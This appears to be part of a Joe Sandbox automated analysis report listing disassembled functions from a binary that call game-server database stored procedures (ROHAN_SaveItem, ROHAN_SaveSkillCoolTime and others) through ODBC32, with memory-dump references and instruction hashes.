                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_SaveItem](?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-2562309105
                                                                                                                            • Opcode ID: 706cf1aaee3d0978ee74d76bc609b5ceb0ae7e485cbf6c2d17c342d1ecbef897
                                                                                                                            • Instruction ID: 6dab473c7e76303a54bb377cead051c7b528362d402b658993439a48c7c23ac0
                                                                                                                            • Opcode Fuzzy Hash: 706cf1aaee3d0978ee74d76bc609b5ceb0ae7e485cbf6c2d17c342d1ecbef897
                                                                                                                            • Instruction Fuzzy Hash: B441EEB07842167FEB248B54CC52FAA7238EFC5B38F204288F7666E2C1D5B169408B5D
                                                                                                                            Function 00437277 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetTradeItemPaging] (?,?,?,?)},000000FD), ref: 00437297
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004372D6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043730B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437343
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043737B
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004373B3
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetTradeItemPaging] (?,?,?,?)}, xrefs: 0043728E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetTradeItemPaging] (?,?,?,?)}
                                                                                                                            • API String ID: 0-1628133889
                                                                                                                            • Opcode ID: 708d9f74c99b05152c2393bb10270714b83f44d574e2e072f08ec88bcf2bfcbd
                                                                                                                            • Instruction ID: 19493aa83f1187ed111dce8902569debf5f7a103abf1eba3fe9cc62cb30ec3f5
                                                                                                                            • Opcode Fuzzy Hash: 708d9f74c99b05152c2393bb10270714b83f44d574e2e072f08ec88bcf2bfcbd
                                                                                                                            • Instruction Fuzzy Hash: 4A4110B4644215BBFB28CB54CC56FAA7335EB84B14F208388F72D6E2C5D9B16D418B58
                                                                                                                            Function 0042E3F5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SaveSkillCoolTime] (?, ?, ?, ?)},000000FD), ref: 0042E415
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042E454
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042E489
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E4C1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042E4F9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E531
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SaveSkillCoolTime] (?, ?, ?, ?)}, xrefs: 0042E40C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SaveSkillCoolTime] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-214873549
                                                                                                                            • Opcode ID: d1468a0c44200d5360136a8c8fb3b461e3f7fa91d4d33a19892a7dabf5156218
                                                                                                                            • Instruction ID: b62d9ff696ffb62523db95c1e3c4fd006aef9b86f971258ff45661cf3120816e
                                                                                                                            • Opcode Fuzzy Hash: d1468a0c44200d5360136a8c8fb3b461e3f7fa91d4d33a19892a7dabf5156218
                                                                                                                            • Instruction Fuzzy Hash: AD411EB0A806557FEB348B44CC52FAB7774EB84B19F10828AF6187E2C5D6B56A40CF48
                                                                                                                            Function 00441429 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsertTuserLastAttnd] (?,?,?,?)},000000FD), ref: 00441449
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00441488
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004414BD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004414F5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0044152D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00441565
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsertTuserLastAttnd] (?,?,?,?)}, xrefs: 00441440
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsertTuserLastAttnd] (?,?,?,?)}
                                                                                                                            • API String ID: 0-2321350776
                                                                                                                            • Opcode ID: 8a535e58c0d6176435df0c86c240b139e133d92ec05aa6d80f6432c9c4f0ae49
                                                                                                                            • Instruction ID: 3c4b3723307dc29d3ff1e5e757a4b471b3466ebf60f3afb6df5a2279cbf74604
                                                                                                                            • Opcode Fuzzy Hash: 8a535e58c0d6176435df0c86c240b139e133d92ec05aa6d80f6432c9c4f0ae49
                                                                                                                            • Instruction Fuzzy Hash: 3541EFB17802147BEB289B54CC52FE97334FB84B58F204289F7196E6C5D6B17E808B58
                                                                                                                            Function 004366BB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_UpdateCharacterRecipe](?,?,?,?)},000000FD), ref: 004366DB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043671A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043674F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00436787
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004367BF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004367F7
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_UpdateCharacterRecipe](?,?,?,?)}, xrefs: 004366D2
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_UpdateCharacterRecipe](?,?,?,?)}
                                                                                                                            • API String ID: 0-658507254
                                                                                                                            • Opcode ID: 6c6134fa0252cc86fcadf8f0e5514e5f2fec836c449526ed3bd4b8a8cf0d0336
                                                                                                                            • Instruction ID: c31d15dbfbdebe88740fdd6465560b5ea3dd67e79fa610cec8f959680bb28513
                                                                                                                            • Opcode Fuzzy Hash: 6c6134fa0252cc86fcadf8f0e5514e5f2fec836c449526ed3bd4b8a8cf0d0336
                                                                                                                            • Instruction Fuzzy Hash: DB41F4B16902187BFB249B54CC92FAE7374EB48B24F20C789F7146E6C5D9B1AD408F58
                                                                                                                            Function 00431865 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DeleteMapMemo] (?, ?, ?, ?)},000000FD), ref: 00431885
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004318C4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004318F9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00431931
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00431969
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004319A1
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DeleteMapMemo] (?, ?, ?, ?)}, xrefs: 0043187C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DeleteMapMemo] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-2507592454
                                                                                                                            • Opcode ID: 9a8f094366c63a5ddea5a2af19ba7c5791ead1105ff886b99b1c74100880a52a
                                                                                                                            • Instruction ID: 3d9b26e1621404a59247f97e1d8f461fe836af72d5e1b7eb4ceb0b3fe5f05cd0
                                                                                                                            • Opcode Fuzzy Hash: 9a8f094366c63a5ddea5a2af19ba7c5791ead1105ff886b99b1c74100880a52a
                                                                                                                            • Instruction Fuzzy Hash: 4341E371640215BBEB648B44CC52FAE73B5FB84B18F20C389F75C6E2C5DDB169808B98
                                                                                                                            Function 004418ED Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohangame_pLucky_InsNumUser] (?, ?, ?, ?)},000000FD), ref: 00441901
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0044194D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0044198A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 004419BF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004419F7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00441A2F
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohangame_pLucky_InsNumUser] (?, ?, ?, ?)}, xrefs: 004418F8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
